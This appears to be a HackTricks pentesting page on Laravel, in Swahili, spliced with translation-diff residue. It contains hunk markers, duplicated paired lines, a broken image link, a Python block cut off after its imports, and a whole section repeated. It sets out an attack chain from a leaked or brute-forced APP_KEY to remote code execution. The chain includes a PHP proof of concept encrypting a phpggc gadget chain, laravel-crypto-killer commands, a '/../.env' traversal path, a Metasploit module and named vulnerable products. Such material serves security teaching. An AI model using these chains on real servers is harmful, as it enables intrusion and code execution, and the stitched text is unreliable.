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# Laravel
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{{#include /banners/hacktricks-training.md}}
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### Laravel SQLInjection
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Soma habari kuhusu hii hapa: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
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---
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## APP_KEY & Encryption internals (Laravel \u003e=5.6)
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Laravel inatumia AES-256-CBC (au GCM) na HMAC integrity chini ya uso (`Illuminate\\Encryption\\Encrypter`).
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Ciphertext safi ambayo hatimaye **inatumwa kwa mteja** ni **Base64 ya kitu cha JSON** kama:
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```json
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{
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"iv" : "Base64(random 16-byte IV)",
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"value": "Base64(ciphertext)",
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"mac" : "HMAC_SHA256(iv||value, APP_KEY)",
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"tag" : "" // only used for AEAD ciphers (GCM)
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}
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```
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`encrypt($value, $serialize=true)` itafanya `serialize()` maandiko ya wazi kwa chaguo-msingi, wakati `decrypt($payload, $unserialize=true)` **ita `unserialize()`** thamani iliyokolewa. Hivyo basi **mshambuliaji yeyote anayejua siri ya byte 32 `APP_KEY` anaweza kuunda kitu kilichohifadhiwa cha PHP kilichosimbwa na kupata RCE kupitia mbinu za kichawi (`__wakeup`, `__destruct`, …)**.
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Minimal PoC (framework ≥9.x):
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```php
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use Illuminate\Support\Facades\Crypt;
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$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
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$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
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```
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Ingiza string iliyozalishwa kwenye chochote kilichovuja `decrypt()` sink (paramu ya njia, cookie, kikao, …).
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---
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## laravel-crypto-killer 🧨
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[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) inafanya mchakato mzima kuwa wa kiotomatiki na kuongeza hali rahisi ya **bruteforce**:
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```bash
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# Encrypt a phpggc chain with a known APP_KEY
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laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"
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# Decrypt a captured cookie / token
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laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
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# Try a word-list of keys against a token (offline)
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laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
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```
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The script inasaidia kwa uwazi payloads za CBC na GCM na inazalisha tena uwanja wa HMAC/tag.
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---
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## Mifano halisi ya udhaifu
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| Mradi | Kitu kilichoharibika | Mnyororo wa gadget |
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|-------|----------------------|--------------------|
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| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}` → `decrypt($hash)` | Laravel/RCE13 |
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| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie wakati `Passport::withCookieSerialization()` imewezeshwa | Laravel/RCE9 |
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| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → `laravel_session` cookie | Laravel/RCE15 |
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Mchakato wa unyakuzi daima ni:
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1. Pata `APP_KEY` (mfano wa chaguo-msingi, kuvuja kwa Git, kuvuja kwa config/.env, au brute-force)
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2. Zalisha gadget na **PHPGGC**
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3. `laravel_crypto_killer.py encrypt …`
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4. Toa payload kupitia parameter/cookie iliyoathirika → **RCE**
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---
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## Ugunduzi wa wingi wa APP_KEY kupitia brute-force ya cookie
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Kwa sababu kila jibu jipya la Laravel linaweka angalau cookie 1 iliyosimbwa (`XSRF-TOKEN` na kawaida `laravel_session`), **scanner za umma za mtandao (Shodan, Censys, …) zinavuja mamilioni ya ciphertexts** ambazo zinaweza kushambuliwa bila mtandao.
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Matokeo muhimu ya utafiti uliochapishwa na Synacktiv (2024-2025):
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* Dataset Julai 2024 » 580 k tokens, **3.99 % funguo zimevunjwa** (≈23 k)
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* Dataset Mei 2025 » 625 k tokens, **3.56 % funguo zimevunjwa**
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* >1 000 seva bado zina udhaifu kwa CVE-2018-15133 ya zamani kwa sababu tokens moja kwa moja zina data iliyosimbwa.
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* Matumizi makubwa ya funguo – Top-10 APP_KEYs zimeandikwa kwa chaguo-msingi ambazo zimesambazwa na templeti za kibiashara za Laravel (UltimatePOS, Invoice Ninja, XPanel, …).
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Zana ya kibinafsi ya Go **nounours** inasukuma throughput ya AES-CBC/GCM bruteforce hadi ~1.5 bilioni majaribio/s, ikipunguza uvunjaji wa dataset kamili kuwa <2 dakika.
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---
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## Marejeleo
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* [Laravel: APP_KEY leakage analysis](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
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* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
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* [PHPGGC – PHP Generic Gadget Chains](https://github.com/ambionics/phpggc)
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* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
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{{#include ../../banners/hacktricks-training.md}}
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## Laravel Tricks
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## Hila za Laravel
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### Debugging mode
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### Hali ya upelelezi
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Ikiwa Laravel iko katika **debugging mode** utaweza kufikia **code** na **data nyeti**.\
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Ikiwa Laravel iko katika **hali ya upelelezi** utaweza kufikia **kod** na **data nyeti**.\
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Kwa mfano `http://127.0.0.1:8000/profiles`:
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.png>)
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@ -16,13 +101,13 @@ Hii kwa kawaida inahitajika kwa ajili ya kutumia CVEs nyingine za Laravel RCE.
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### .env
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Laravel huhifadhi APP inayotumiwa kuandika siri za kuki na akreditivu zingine ndani ya faili inayoitwa `.env` ambayo inaweza kufikiwa kwa kutumia njia fulani ya kupita: `/../.env`
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Laravel huhifadhi APP inayotumia kusimbua cookies na akreditif nyingine ndani ya faili inayoitwa `.env` ambayo inaweza kufikiwa kwa kutumia baadhi ya njia za kupita: `/../.env`
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Laravel pia itaonyesha habari hii ndani ya ukurasa wa debug (ambao unaonekana wakati Laravel inapata kosa na umewezeshwa).
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Laravel pia itaonyesha habari hii ndani ya ukurasa wa upelelezi (ambao unaonekana wakati Laravel inapata kosa na umewezeshwa).
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Kwa kutumia APP_KEY ya siri ya Laravel unaweza kufungua na kuandika tena kuki:
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Kwa kutumia APP_KEY ya siri ya Laravel unaweza kusimbua na kusimbua tena cookies:
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### Decrypt Cookie
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### Futa Cookie
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```python
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import os
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import json
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@ -88,7 +173,7 @@ Toleo lenye udhaifu: 5.5.40 na 5.6.x kupitia 5.6.29 ([https://www.cvedetails.com
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Hapa unaweza kupata taarifa kuhusu udhaifu wa deserialization hapa: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
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Unaweza kujaribu na kutumia kwa kutumia [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
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Au unaweza pia kutumia kwa metasploit: `use unix/http/laravel_token_unserialize_exec`
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Au unaweza pia kutumia metasploit: `use unix/http/laravel_token_unserialize_exec`
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### CVE-2021-3129
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@ -98,5 +183,87 @@ Deserialization nyingine: [https://github.com/ambionics/laravel-exploits](https:
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Soma taarifa kuhusu hii hapa: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
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### Laravel SQLInjection
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Soma taarifa kuhusu hii hapa: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
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---
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## APP_KEY & Encryption internals (Laravel \u003e=5.6)
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Laravel inatumia AES-256-CBC (au GCM) na HMAC integrity chini ya uso (`Illuminate\\Encryption\\Encrypter`).
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Ciphertext safi ambayo hatimaye **inatumwa kwa mteja** ni **Base64 ya kitu cha JSON** kama:
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```json
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{
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"iv" : "Base64(random 16-byte IV)",
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"value": "Base64(ciphertext)",
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"mac" : "HMAC_SHA256(iv||value, APP_KEY)",
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"tag" : "" // only used for AEAD ciphers (GCM)
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}
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```
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`encrypt($value, $serialize=true)` itafanya `serialize()` maandiko ya wazi kwa chaguo-msingi, wakati `decrypt($payload, $unserialize=true)` **ita `unserialize()`** thamani iliyokolewa kiotomatiki. Hivyo basi **mshambuliaji yeyote anayejua siri ya byte 32 `APP_KEY` anaweza kuunda kitu kilichohifadhiwa cha PHP kilichosimbwa na kupata RCE kupitia mbinu za kichawi (`__wakeup`, `__destruct`, …)**.
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Minimal PoC (framework ≥9.x):
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```php
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use Illuminate\Support\Facades\Crypt;
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$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
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$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
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```
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Ingiza mfuatano uliozalishwa kwenye chochote kilicho hatarini `decrypt()` sink (paramu ya njia, cookie, kikao, …).
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---
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## laravel-crypto-killer 🧨
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[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) inaweka mchakato mzima kuwa otomatiki na kuongeza hali rahisi ya **bruteforce**:
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```bash
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# Encrypt a phpggc chain with a known APP_KEY
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laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"
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# Decrypt a captured cookie / token
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laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
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# Try a word-list of keys against a token (offline)
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laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
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```
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The script inasaidia kwa uwazi payloads za CBC na GCM na inazalisha tena uwanja wa HMAC/tag.
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---
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## Mifano halisi ya udhaifu
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| Mradi | Kitu kilichoharibika | Mnyororo wa gadget |
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|-------|----------------------|--------------------|
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| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}` → `decrypt($hash)` | Laravel/RCE13 |
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| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie wakati `Passport::withCookieSerialization()` imewezeshwa | Laravel/RCE9 |
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| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → `laravel_session` cookie | Laravel/RCE15 |
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Mchakato wa unyakuzi daima ni:
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1. Pata `APP_KEY` (mfano wa chaguo-msingi, uvujaji wa Git, uvujaji wa config/.env, au brute-force)
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2. Zalisha gadget na **PHPGGC**
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3. `laravel_crypto_killer.py encrypt …`
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4. Toa payload kupitia parameter/cookie iliyo hatarini → **RCE**
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---
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## Ugunduzi wa wingi wa APP_KEY kupitia brute-force ya cookie
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Kwa sababu kila jibu jipya la Laravel linaweka angalau cookie 1 iliyosimbwa (`XSRF-TOKEN` na kawaida `laravel_session`), **scanner za umma za mtandao (Shodan, Censys, …) zinavuja mamilioni ya ciphertexts** ambazo zinaweza kushambuliwa bila mtandao.
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Matokeo muhimu ya utafiti uliochapishwa na Synacktiv (2024-2025):
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* Dataset Julai 2024 » 580 k tokens, **3.99 % funguo zimevunjwa** (≈23 k)
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* Dataset Mei 2025 » 625 k tokens, **3.56 % funguo zimevunjwa**
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* >1 000 seva bado zina udhaifu kwa CVE-2018-15133 ya zamani kwa sababu tokens moja kwa moja zina data iliyosimbwa.
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* Matumizi makubwa ya funguo – Top-10 APP_KEYs zimeandikwa kwa chaguo-msingi ambazo zimesambazwa na templeti za kibiashara za Laravel (UltimatePOS, Invoice Ninja, XPanel, …).
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Zana ya kibinafsi ya Go **nounours** inasukuma throughput ya AES-CBC/GCM bruteforce hadi ~1.5 bilioni majaribio/s, ikipunguza uvunjaji wa dataset kamili hadi <2 dakika.
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---
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## Marejeleo
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* [Laravel: APP_KEY leakage analysis](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
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* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
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* [PHPGGC – PHP Generic Gadget Chains](https://github.com/ambionics/phpggc)
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* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
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{{#include ../../banners/hacktricks-training.md}}
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